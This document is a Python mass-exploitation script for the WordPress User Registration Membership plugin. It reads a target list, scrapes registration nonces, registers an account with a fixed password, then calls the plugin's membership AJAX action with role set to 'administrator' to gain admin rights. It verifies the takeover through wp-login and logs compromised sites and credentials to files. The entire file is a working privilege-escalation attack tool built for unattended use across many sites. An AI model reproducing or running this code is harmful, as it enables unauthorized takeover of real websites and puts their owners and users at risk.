#!/usr/bin/env python3
# By: Nxploited (@Kxploit)

import os
import sys
import time
import random
from datetime import datetime
from typing import Optional, Dict, List
from urllib.parse import urlparse

import re
import json as _json
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed

from rich import box
from rich.console import Console
from rich.panel import Panel
from rich.align import Align
from rich.table import Table
from rich.text import Text

requests.packages.urllib3.disable_warnings()

console = Console()

REG_RESULTS_FILE = "reg.txt"
ADMIN_RESULTS_FILE = "Nx_admin.txt"
REG_PASS = "Nx_adminSA"

UA_POOL = [
    "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
    "(KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",
]


def get_random_ua() -> str:
    return random.choice(UA_POOL)


def normalize_url(url: str) -> str:
    url = url.strip()
    if not url.startswith(("http://", "https://")):
        url = "https://" + url
    p = urlparse(url)
    return f"{p.scheme}://{p.netloc}"


def new_session(timeout: int) -> requests.Session:
    s = requests.Session()
    s.verify = False
    s.timeout = timeout
    return s


def live_status(target: str, status: str, color: str, note: str = "") -> None:
    t = Text(f"[{status}] ", style=color) + Text(target, style="white")
    if note:
        t += Text(f"  |  {note}", style="bright_black")
    console.print(t)


def banner() -> None:
    os.system("cls" if os.name == "nt" else "clear")

    ascii_lines = [
        "  _      _   _   _  _   _   _   _   _  _  ",
        " / \\  / |_ __ ) / \\  ) |_ __ ) |_  |_  _) ",
        " \\_ \\/  |_   /_ \\_/ /_  _)  /_  _) |_) _) ",
        "                                          ",
    ]
    ascii_text = "\n".join(ascii_lines)

    title = Text("User Registration Membership Full Chain", style="bold cyan")
    author = Text("By: Nxploited  |  GitHub: github.com/Nxploited  |  Telegram: @Kxploit", style="bold white")

    body = Align.center(
        Text(ascii_text, style="bold green")
        + Text("\n")
        + title
        + Text("\n")
        + author,
        vertical="middle",
    )

    panel = Panel(
        body,
        border_style="bright_black",
        box=box.SQUARE,
        padding=(1, 4),
    )
    console.print(panel)


def write_reg_result(base: str, username: str, email: str, password: str) -> None:
    ts = datetime.utcnow().strftime("%Y-%m-%d %H:%M:%S")
    line = f"[{ts}] {base}/wp-login.php user:{username} email:{email} pass:{password}\n"
    try:
        with open(REG_RESULTS_FILE, "a", encoding="utf-8") as f:
            f.write(line)
    except Exception:
        pass


def write_admin_result(base: str, username: str, password: str) -> None:
    ts = datetime.utcnow().strftime("%Y-%m-%d %H:%M:%S")
    line = f"[{ts}] {base}/wp-login.php user:{username} pass:{password}\n"
    try:
        with open(ADMIN_RESULTS_FILE, "a", encoding="utf-8") as f:
            f.write(line)
    except Exception:
        pass


def extract_membership_js_nonce(html: str) -> Optional[str]:
    rg = re.compile(
        r'(?:var|let|const|\s|;)ur_membership_frontend_localized_data\s*=\s*(\{.*?\})\s*;',
        re.DOTALL | re.IGNORECASE,
    )
    m = rg.search(html)
    if not m:
        rg2 = re.compile(
            r'ur_membership_frontend_localized_data\s*=\s*(\{.*?\})',
            re.DOTALL | re.IGNORECASE,
        )
        m = rg2.search(html)
        if not m:
            return None

    blob = m.group(1)
    try:
        cleaned = blob.strip().rstrip(";")
        cleaned = cleaned.replace(r'\/', '/')
        data = _json.loads(cleaned)
        if isinstance(data, dict):
            n = data.get("_nonce")
            if isinstance(n, str) and len(n) >= 8:
                return n
    except Exception:
        pass

    m2 = re.search(r'"_nonce"\s*:\s*"([0-9a-zA-Z]{8,64})"', blob, re.IGNORECASE)
    if m2:
        return m2.group(1)

    return None


def extract_form_candidates_from_html(html: str) -> Dict[str, List[str]]:
    security_candidates: List[str] = []
    frontend_nonce_candidates: List[str] = []
    form_id_candidates: List[str] = []
    membership_id_candidates: List[str] = []

    for m in re.finditer(r'membership_id=([0-9]{1,10})', html):
        val = m.group(1)
        if val not in membership_id_candidates:
            membership_id_candidates.append(val)

    for m in re.finditer(
        r'name=["\']urm_membership["\'][^>]*value=["\']([0-9]{1,10})["\']',
        html,
        re.IGNORECASE,
    ):
        val = m.group(1)
        if val not in membership_id_candidates:
            membership_id_candidates.append(val)

    for m in re.finditer(r'name=["\']form_id["\']\s+value=["\']([0-9]{1,10})["\']', html, re.IGNORECASE):
        val = m.group(1)
        if val not in form_id_candidates:
            form_id_candidates.append(val)

    for m in re.finditer(r'name=["\']ur-user-form-id["\']\s+value=["\']([0-9]{1,10})["\']', html, re.IGNORECASE):
        val = m.group(1)
        if val not in form_id_candidates:
            form_id_candidates.append(val)

    for m in re.finditer(
        r'(?:name|id)=["\']ur_frontend_form_nonce["\'][^>]*value=["\']([0-9a-zA-Z]{8,64})["\']',
        html,
        re.IGNORECASE,
    ):
        val = m.group(1)
        if val not in frontend_nonce_candidates:
            frontend_nonce_candidates.append(val)

    for m in re.finditer(
        r'name=["\']security["\']\s+value=["\']([0-9a-zA-Z]{8,64})["\']',
        html,
        re.IGNORECASE,
    ):
        val = m.group(1)
        if val not in security_candidates:
            security_candidates.append(val)

    m_sec = re.search(
        r'user_registration_params\s*=\s*\{[^}]*"user_registration_form_data_save"\s*:\s*"([0-9a-zA-Z]{8,64})"',
        html,
        re.DOTALL,
    )
    if m_sec:
        val = m_sec.group(1)
        if val not in security_candidates:
            security_candidates.append(val)

    json_blob_rg = re.compile(
        r'(\{[^{}]*(?:form_id|membership_id|security|ur_frontend_form_nonce|user_registration_form_data_save)[^{}]*\})',
        re.DOTALL | re.IGNORECASE,
    )
    for m in json_blob_rg.finditer(html):
        blob = m.group(1)
        cleaned_blob = blob.replace(r'\/', '/')
        try:
            data = _json.loads(cleaned_blob)
        except Exception:
            for ms in re.finditer(r'"security"\s*:\s*"([0-9a-zA-Z]{8,64})"', blob):
                val = ms.group(1)
                if val not in security_candidates:
                    security_candidates.append(val)
            for ms2 in re.finditer(r'"user_registration_form_data_save"\s*:\s*"([0-9a-zA-Z]{8,64})"', blob):
                val = ms2.group(1)
                if val not in security_candidates:
                    security_candidates.append(val)
            for mf in re.finditer(r'"ur_frontend_form_nonce"\s*:\s*"([0-9a-zA-Z]{8,64})"', blob):
                val = mf.group(1)
                if val not in frontend_nonce_candidates:
                    frontend_nonce_candidates.append(val)
            for mid in re.finditer(r'"form_id"\s*:\s*"([0-9]{1,10})"', blob):
                val = mid.group(1)
                if val not in form_id_candidates:
                    form_id_candidates.append(val)
            for mid2 in re.finditer(r'"membership_id"\s*:\s*"([0-9]{1,10})"', blob):
                val = mid2.group(1)
                if val not in membership_id_candidates:
                    membership_id_candidates.append(val)
            continue

        if not isinstance(data, dict):
            continue

        if "security" in data and isinstance(data["security"], str):
            if data["security"] not in security_candidates:
                security_candidates.append(data["security"])
        if "user_registration_form_data_save" in data and isinstance(
            data["user_registration_form_data_save"], str
        ):
            val = data["user_registration_form_data_save"]
            if val not in security_candidates:
                security_candidates.append(val)

        if "ur_frontend_form_nonce" in data and isinstance(data["ur_frontend_form_nonce"], str):
            if data["ur_frontend_form_nonce"] not in frontend_nonce_candidates:
                frontend_nonce_candidates.append(data["ur_frontend_form_nonce"])

        if "form_id" in data and isinstance(data["form_id"], (str, int)):
            val = str(data["form_id"])
            if val not in form_id_candidates:
                form_id_candidates.append(val)

        if "membership_id" in data and isinstance(data["membership_id"], (str, int)):
            val = str(data["membership_id"])
            if val not in membership_id_candidates:
                membership_id_candidates.append(val)

    return {
        "security_candidates": security_candidates,
        "frontend_nonce_candidates": frontend_nonce_candidates,
        "form_id_candidates": form_id_candidates,
        "membership_id_candidates": membership_id_candidates,
    }


def merge_candidate_lists(all_sets: List[Dict[str, List[str]]]) -> Dict[str, List[str]]:
    merged = {
        "security_candidates": [],
        "frontend_nonce_candidates": [],
        "form_id_candidates": [],
        "membership_id_candidates": [],
    }
    for s in all_sets:
        for key in merged.keys():
            for val in s.get(key, []):
                if val not in merged[key]:
                    merged[key].append(val)

    if not merged["security_candidates"]:
        merged["security_candidates"].append(None)
    if not merged["frontend_nonce_candidates"]:
        merged["frontend_nonce_candidates"].append(None)
    if not merged["form_id_candidates"]:
        merged["form_id_candidates"].append(None)
    if not merged["membership_id_candidates"]:
        merged["membership_id_candidates"].append(None)

    return merged


def fetch_all_relevant_pages(session: requests.Session, base: str, timeout: int) -> Dict[str, str]:
    htmls: Dict[str, str] = {}
    root = base.rstrip("/")

    endpoints = {
        "pricing": f"{root}/membership-pricing/",
        "registration": f"{root}/membership-registration/",
        "registration_extra": f"{root}/registration/",
    }

    for _, url in endpoints.items():
        try:
            r = session.get(url, timeout=timeout, verify=False, headers={"User-Agent": get_random_ua()})
            if r.status_code == 200:
                htmls[url] = r.text
        except Exception:
            continue

    if any("membership-pricing" in k for k in htmls.keys()):
        pricing_html = next(v for k, v in htmls.items() if "membership-pricing" in k)
        m_link = re.search(
            r'href=["\'](https?://[^"\']*membership-registration/\?membership_id=[0-9]{1,10})["\']',
            pricing_html,
            re.IGNORECASE,
        )
        m_mid = re.search(r'membership-registration/\?membership_id=([0-9]{1,10})', pricing_html)
        reg_url2 = None
        if m_link:
            reg_url2 = m_link.group(1)
        elif m_mid:
            mid = m_mid.group(1)
            reg_url2 = f"{root}/membership-registration/?membership_id={mid}"

        if reg_url2:
            try:
                rr2 = session.get(
                    reg_url2,
                    timeout=timeout,
                    verify=False,
                    headers={"User-Agent": get_random_ua()},
                )
                if rr2.status_code == 200:
                    htmls[reg_url2] = rr2.text
            except Exception:
                pass

    return htmls


def try_registration_combo(
    session: requests.Session,
    base: str,
    timeout: int,
    username: str,
    email: str,
    password: str,
    security: Optional[str],
    frontend_nonce: Optional[str],
    form_id: Optional[str],
    membership_id: Optional[str],
    attempt_idx: int,
) -> bool:
    ajax_url = base.rstrip("/") + "/wp-admin/admin-ajax.php"
    membership_id = membership_id or "1"
    form_id = form_id or "1"

    form_data_list = [
        {"field_name": "user_login", "value": username, "field_type": "text", "label": "Username"},
        {"field_name": "user_email", "value": email, "field_type": "email", "label": "User Email"},
        {"field_name": "user_pass", "value": password, "field_type": "password", "label": "User Password"},
        {
            "field_name": "user_confirm_password",
            "value": password,
            "field_type": "password",
            "label": "Confirm Password",
        },
        {
            "value": membership_id,
            "field_type": "radio",
            "label": "membership",
            "field_name": "membership_field_1771350090",
        },
    ]
    form_data_json = _json.dumps(form_data_list, separators=(",", ":"))

    data = {
        "action": "user_registration_user_form_submit",
        "security": security or "",
        "form_data": form_data_json,
        "form_id": form_id,
        "registration_language": "en-US",
        "ur_frontend_form_nonce": frontend_nonce or "",
        "is_membership_active": membership_id,
        "membership_type": membership_id,
    }

    headers = {
        "User-Agent": get_random_ua(),
        "X-Requested-With": "XMLHttpRequest",
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
        "Referer": base.rstrip("/") + "/membership-registration/",
    }
    try:
        r = session.post(ajax_url, data=data, headers=headers, timeout=timeout, verify=False)
    except Exception:
        return False

    try:
        j = r.json()
    except Exception:
        return False

    return bool(j.get("success") is True)


def verify_admin_login(base: str, username: str, password: str, timeout: int = 10) -> bool:
    session = requests.Session()
    session.verify = False
    login_url = base.rstrip("/") + "/wp-login.php"

    headers = {"User-Agent": get_random_ua()}
    try:
        session.get(login_url, headers=headers, timeout=timeout)
    except Exception:
        pass

    headers = {
        "User-Agent": get_random_ua(),
        "Content-Type": "application/x-www-form-urlencoded",
        "Referer": login_url,
        "Cookie": "wordpress_test_cookie=WP Cookie check",
    }
    data = {
        "log": username.strip(),
        "pwd": password,
        "wp-submit": "Log In",
        "testcookie": "1",
    }
    try:
        r = session.post(login_url, data=data, headers=headers, timeout=timeout, allow_redirects=True)
    except Exception:
        return False

    cookie_header = r.headers.get("Set-Cookie", "")
    logged_cookie = "wordpress_logged_in" in cookie_header or any(
        c.name.startswith("wordpress_logged_in") for c in session.cookies
    )

    admin_urls = [
        base.rstrip("/") + "/wp-admin/",
        base.rstrip("/") + "/wp-admin/index.php",
        base.rstrip("/") + "/wp-admin/users.php",
        base.rstrip("/") + "/wp-admin/plugin-install.php",
    ]
    admin_indicators = [
        "wp-admin-bar",
        "adminmenu",
        "manage_options",
        "users.php",
        "plugins.php",
        "plugin-install.php",
        "plugin-install-tab",
        "upload-plugin",
    ]

    is_admin = False
    for au in admin_urls:
        try:
            ra = session.get(au, headers={"User-Agent": get_random_ua()}, timeout=timeout, allow_redirects=False)
        except Exception:
            continue

        if ra.status_code in (301, 302):
            loc = ra.headers.get("Location", "")
            if "wp-login.php" in loc:
                continue

        if ra.status_code == 200:
            txt = ra.text.lower()
            if any(ind.lower() in txt for ind in admin_indicators):
                is_admin = True
                break

    if not is_admin and logged_cookie:
        return False

    return is_admin


def exploit_role_admin(
    session: requests.Session,
    base: str,
    timeout: int,
    username: str,
    membership_js_nonce: Optional[str],
    membership_id: Optional[str],
    row: Dict[str, str],
) -> None:
    ajax_url = base.rstrip("/") + "/wp-admin/admin-ajax.php"

    if not membership_js_nonce:
        row["status"] = "[yellow]VULNERABLE (nonce exposed, exploit pending)[/yellow]"
        return

    if not membership_id:
        membership_id = "1"

    today = datetime.utcnow().strftime("%Y-%m-%d")

    members_data_dict = {
        "membership": membership_id,
        "total": "0",
        "payment_method": "free",
        "start_date": today,
        "username": username,
        "role": "administrator",
    }
    members_data = _json.dumps(members_data_dict, separators=(",", ":"))

    form_response_dict = {
        "username": username,
        "registration_type": "membership",
    }
    form_response = _json.dumps(form_response_dict, separators=(",", ":"))

    data = {
        "action": "user_registration_membership_register_member",
        "_wpnonce": membership_js_nonce,
        "members_data": members_data,
        "form_response": form_response,
    }

    headers = {
        "User-Agent": get_random_ua(),
        "X-Requested-With": "XMLHttpRequest",
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
        "Referer": base.rstrip("/") + "/membership-pricing/",
    }
    try:
        r = session.post(ajax_url, data=data, headers=headers, timeout=timeout, verify=False)
    except Exception:
        row["status"] = "[red]EXPLOIT FAILED (request error)[/red]"
        return

    try:
        j = r.json()
    except Exception:
        row["status"] = "[red]EXPLOIT FAILED (bad response)[/red]"
        return

    if j.get("success") is True:
        d = j.get("data") or {}
        msg = str(d.get("message", "")).lower()
        if "new member has been successfully created" in msg:
            write_admin_result(base, username, REG_PASS)
            is_admin = verify_admin_login(base, username, REG_PASS, timeout)
            if is_admin:
                row["status"] = "[bold green]COMPROMISED (exploited)[/bold green]"
                row["note"] = f"password: {REG_PASS}"
            else:
                row["status"] = "[yellow]COMPROMISED (exploit ok, admin not verified)[/yellow]"
                row["note"] = f"password: {REG_PASS}"
            return

        row["status"] = "[yellow]EXPLOIT SUCCESS (message mismatch)[/yellow]"
        row["note"] = ""
        return

    row["status"] = "[red]EXPLOIT FAILED (success=false)[/red]"


def handle_site(site: str, timeout: int, max_attempts: int) -> Dict[str, str]:
    base = normalize_url(site)
    sess = new_session(timeout)

    row = {
        "target": base,
        "status": "[bright_black]UNKNOWN[/bright_black]",
        "note": "",
    }

    live_status(base, "SCANNING", "cyan")

    try:
        htmls = fetch_all_relevant_pages(sess, base, timeout)
        if not htmls:
            row["status"] = "[bright_black]DEAD (no membership/registration pages)[/bright_black]"
            live_status(base, "DEAD", "bright_black")
            return row

        membership_js_nonce = None
        for _, html in htmls.items():
            membership_js_nonce = extract_membership_js_nonce(html)
            if membership_js_nonce:
                break

        all_sets: List[Dict[str, List[str]]] = []
        for _, html in htmls.items():
            c = extract_form_candidates_from_html(html)
            all_sets.append(c)

        merged = merge_candidate_lists(all_sets)
        security_candidates = merged["security_candidates"]
        frontend_candidates = merged["frontend_nonce_candidates"]
        form_id_candidates = merged["form_id_candidates"]
        membership_id_candidates = merged["membership_id_candidates"]

        suffix = random.randint(100, 999)
        username = f"Nxploited_{suffix}"
        email = f"{username}@admin.sa"
        password = REG_PASS

        attempt_idx = 0
        registration_success = False
        used_membership_id_for_reg: Optional[str] = None

        for sec in security_candidates:
            for fn in frontend_candidates:
                for fid in form_id_candidates:
                    for mid in membership_id_candidates:
                        attempt_idx += 1
                        if attempt_idx > max_attempts:
                            if membership_js_nonce:
                                row["status"] = "[yellow]VULNERABLE (nonce exposed, registration failed)[/yellow]"
                                live_status(base, "VULNERABLE", "yellow")
                            else:
                                row["status"] = "[bright_black]NO REG (max attempts reached)[/bright_black]"
                                live_status(base, "NO REG", "bright_black")
                            return row
                        ok = try_registration_combo(
                            sess,
                            base,
                            timeout,
                            username,
                            email,
                            password,
                            sec,
                            fn,
                            fid,
                            mid,
                            attempt_idx,
                        )
                        if ok:
                            registration_success = True
                            used_membership_id_for_reg = mid or "1"
                            write_reg_result(base, username, email, password)
                            break
                    if registration_success:
                        break
                if registration_success:
                    break
            if registration_success:
                break

        if not registration_success:
            if membership_js_nonce:
                row["status"] = "[yellow]VULNERABLE (nonce exposed, registration failed)[/yellow]"
                live_status(base, "VULNERABLE", "yellow")
            else:
                row["status"] = "[bright_black]NO REG (all attempts failed)[/bright_black]"
                live_status(base, "NO REG", "bright_black")
            return row

        if membership_js_nonce:
            row["status"] = "[yellow]EXPLOITING (nonce + reg OK)[/yellow]"
            live_status(base, "EXPLOITING", "yellow")
            exploit_role_admin(sess, base, timeout, username, membership_js_nonce, used_membership_id_for_reg, row)
            if "COMPROMISED" in row["status"]:
                live_status(base, "EXPLOITED", "bold green", row["note"])
            else:
                live_status(base, "EXPLOIT-FAILED", "magenta", row["note"])
        else:
            row["status"] = "[yellow]REGISTERED (no membership nonce found)[/yellow]"
            row["note"] = f"password: {REG_PASS}"
            live_status(base, "REGISTERED", "yellow", row["note"])

        return row

    except requests.exceptions.Timeout:
        row["status"] = "[bright_black]TIMEOUT[/bright_black]"
        live_status(base, "TIMEOUT", "bright_black")
        return row
    except requests.exceptions.ConnectionError:
        row["status"] = "[bright_black]DEAD (connection error)[/bright_black]"
        live_status(base, "DEAD", "bright_black")
        return row
    except Exception:
        row["status"] = "[red]ERROR[/red]"
        live_status(base, "ERROR", "red")
        return row


def main() -> None:
    banner()
    targets_file = console.input("[cyan]Targets file[/cyan] [list.txt]: ").strip() or "list.txt"
    if not os.path.exists(targets_file):
        console.print("[bold red]Targets file not found.[/bold red]")
        sys.exit(1)

    try:
        threads = int(console.input("[cyan]Threads[/cyan] [3]: ").strip() or "3")
    except ValueError:
        threads = 3

    try:
        timeout = int(console.input("[cyan]HTTP timeout (seconds)[/cyan] [10]: ").strip() or "10")
    except ValueError:
        timeout = 10

    try:
        max_attempts = int(
            console.input("[cyan]Max registration attempts per target[/cyan] [20]: ").strip() or "20"
        )
    except ValueError:
        max_attempts = 20

    targets: List[str] = []
    with open(targets_file, "r", encoding="utf-8", errors="ignore") as f:
        for line in f:
            line = line.strip()
            if line:
                targets.append(line)

    if not targets:
        console.print("[bold red]Targets file is empty.[/bold red]")
        sys.exit(1)

    console.print()
    console.print(f"[bold white]Loaded {len(targets)} targets.[/bold white]\n")

    start = time.time()
    results: List[Dict[str, str]] = []

    with ThreadPoolExecutor(max_workers=threads) as ex:
        future_to_target = {ex.submit(handle_site, t, timeout, max_attempts): t for t in targets}
        try:
            for future in as_completed(future_to_target):
                res = future.result()
                results.append(res)
        except KeyboardInterrupt:
            ex.shutdown(wait=False, cancel_futures=True)
            console.print("[bold yellow]Interrupted by user. Showing partial results.[/bold yellow]")

    elapsed = time.time() - start

    table = Table(
        title=f"Scan Summary  |  {len(results)} targets  |  Elapsed: {elapsed:.2f}s",
        box=box.SQUARE,
        header_style="bold cyan",
        border_style="bright_black",
    )
    table.add_column("Target", style="white", no_wrap=True)
    table.add_column("Status", style="white")
    table.add_column("Password / Note", style="bright_black")

    for row in results:
        table.add_row(row["target"], row["status"], row.get("note", ""))

    console.print()
    console.print(table)
    console.print()
    console.print(f"[bold green]Registration log:[/bold green] {REG_RESULTS_FILE}")
    console.print(f"[bold green]Exploit (admin) log:[/bold green] {ADMIN_RESULTS_FILE}")


if __name__ == "__main__":
    main()